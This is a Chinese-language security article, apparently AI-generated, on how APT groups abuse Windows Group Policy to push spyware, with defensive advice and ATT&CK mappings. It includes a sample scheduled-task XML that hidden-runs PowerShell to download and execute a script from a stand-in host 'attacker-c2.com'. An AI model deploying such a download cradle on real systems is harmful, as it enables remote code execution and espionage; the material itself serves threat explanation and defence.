深度解析：中國 APT 組織利用 Windows 群組原則（GPO）部署間諜軟體之攻擊鏈
在當前複雜的網路威脅環境中，進階持續性威脅（APT）組織不斷演進其橫向移動與持續性滲透（Persistence）的技術。近期資安研究指出，具備中國背景的 APT 組織（如 APT41, Earth Estries 等類似手法組織）已高度掌握利用 Windows 網域環境的核心管理機制——群組原則物件（Group Policy Objects, GPO），作為大規模部署間諜軟體與惡意腳本的武裝化工具。這種「以子之矛，攻子之盾」的策略，使攻擊者能繞過傳統端點防護（EPR），在企業內部網路中實現高效的自動化感染。
攻擊機制：為何選擇群組原則（GPO）？
群組原則（Group Policy）是 Active Directory (AD) 環境中管理使用者與電腦設定的核心機制。對於 IT 管理員而言，它是提升運維效率的利器；但對於攻擊者而言，一旦取得 Domain Admin 或具備 GPO 編輯權限的帳號，GPO 即成為最強大的「內建後門分發系統」。
利用 GPO 部署間諜軟體具備以下技術優勢：
- 權限極高： GPO 派送的腳本或軟體安裝通常以
NT AUTHORITYSYSTEM權限執行。 - 隱蔽性強： 惡意活動隱藏在正常的管理流量中，傳統的防火牆或 IDS 難以區分正常的 GPO 更新與惡意部署。
- 自動化與規模化： 只要目標主機開機或使用者登入，惡意設定就會自動套用，且具備自動重新感染能力。
- 橫向移動效率： 攻擊者無需逐一登入端點，只需修改網域控制站（DC）上的原則文件，即可覆蓋整個組織單位（OU）。
APT 組織的典型攻擊鏈分析
根據資安威脅情資顯示，中國 APT 組織在利用 GPO 進行間諜軟體部署時，通常遵循以下技術路徑：
1. 初始入侵與權限提升
攻擊者最初透過網路釣魚（Phishing）或利用面向網際網路的漏洞（如 ProxyShell 或 Fortinet 漏洞）進入企業內網。隨後，利用 Mimikatz 或 AD 偵察工具（如 BloodHound）尋找具備 GPO Edit 權限的服務帳號或管理員帳號。
2. 惡意 GPO 建立與連結
一旦掌握權限，攻擊者不會直接刪除現有原則，而是建立一個看似正常的「系統更新」或「資安掃描」原則。常見的技術手段包括：
- 排程工作（Scheduled Tasks）： 透過 GPO 設定「立即」執行的排程工作，從遠端伺服器下載並執行 PowerShell 載荷（Payload）。
- 登入/啟動腳本（Scripts）： 修改
scripts.ini，在伺服器啟動或使用者登入時觸發間諜軟體安裝程式。 - 軟體安裝（Software Installation）： 利用 MSI 封裝將間諜軟體偽裝成合法軟體，透過 GPO 的軟體發佈功能強制安裝。
3. 間諜軟體與 C2 通訊
部署的間諜軟體通常具備高度模組化特徵，例如 ShadowPad 或 PlugX 的變體。這些工具會蒐集系統資訊、鍵盤側錄、截圖，並透過加密通道（如 HTTPS 或 DNS 隧道）回傳至 C2 伺服器。
技術實作範例：惡意排程工作部署
以下為攻擊者可能在 GPO 的 XML 設定檔（如 ScheduledTasks.xml）中植入的惡意指令範例，該指令會自動下載並執行記憶體內的惡意代碼：
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mitre/task">
<Actions Context="Author">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker-c2.com/update.ps1')"</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>2025-12-19T09:00:00</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
防禦策略與建議
針對利用 GPO 的攻擊手法，企業 IT 與資安團隊應採取以下防禦措施：
- 落實最小權限原則 (PoLP)： 嚴格限制能編輯 GPO 的帳號數量。除了 Domain Admins 外，應審核
Group Policy Creator Owners群組成員。 - GPO 變更監控： 啟用 AD 稽核原則，監控
5136(目錄服務物件已修改) 與5141(目錄服務物件已刪除) 事件。特別留意對SYSVOL資料夾內腳本文件的任何非預期修改。 - 使用 AGPM (Advanced Group Policy Management)： 透過 Microsoft Desktop Optimization Pack (MDOP) 中的 AGPM 進行 GPO 的版本控制與審核流程，降低未經授權變更的風險。
- 定期執行 BloodHound 審核： 定期掃描 AD 權限路徑，識別是否存在非預期的「控制路徑」，例如某個普通使用者帳號對關鍵 OU 具備
GenericAll或WriteProperty權限。 - 端點偵測與回應 (EDR)： 配置 EDR 監控由
svchost.exe或taskeng.exe發起的異常 PowerShell 行為，特別是帶有-ExecutionPolicy Bypass等參數的指令。
結論
中國 APT 組織利用 Windows GPO 部署間諜軟體，突顯了「合法工具武裝化」的趨勢。這類攻擊不再依賴單一漏洞，而是利用架構上的信任關係。作為資安工程師與 IT 主管，我們必須將 AD 安全視為企業防禦的核心，從權限治理與行為監控雙管齊下，才能有效防堵此類高隱蔽性的威脅滲透。
MITRE ATT&CK 對應
- T1484.001 – Domain Policy Modification: Group Policy Modification
- T1053.005 – Scheduled Task/Job: Scheduled Task
- T1059.001 – Command and Scripting Interpreter: PowerShell
- T1078.002 – Valid Accounts: Domain Accounts
- T1021.002 – Remote Services: SMB/Windows Admin Shares
參考資料與原文來源
- Mandiant: APT41 – Software Supply Chain Compromises and Post-Exploitation Techniques.
- Microsoft Security Blog: Defending against GPO-based attacks in Active Directory.
- CrowdStrike Intelligence Report: China-based Adversary Tactics in Windows Environments.
- iThome 資安新聞：APT 組織利用群組原則派送惡意程式趨勢分析。
🧠本文由 DreamJ AI 技術新聞生成系統 自動撰寫並進行語意優化，僅供技術研究與教學使用。
請以原廠公告、CVE 官方資料與安全建議為最終依據。
發佈留言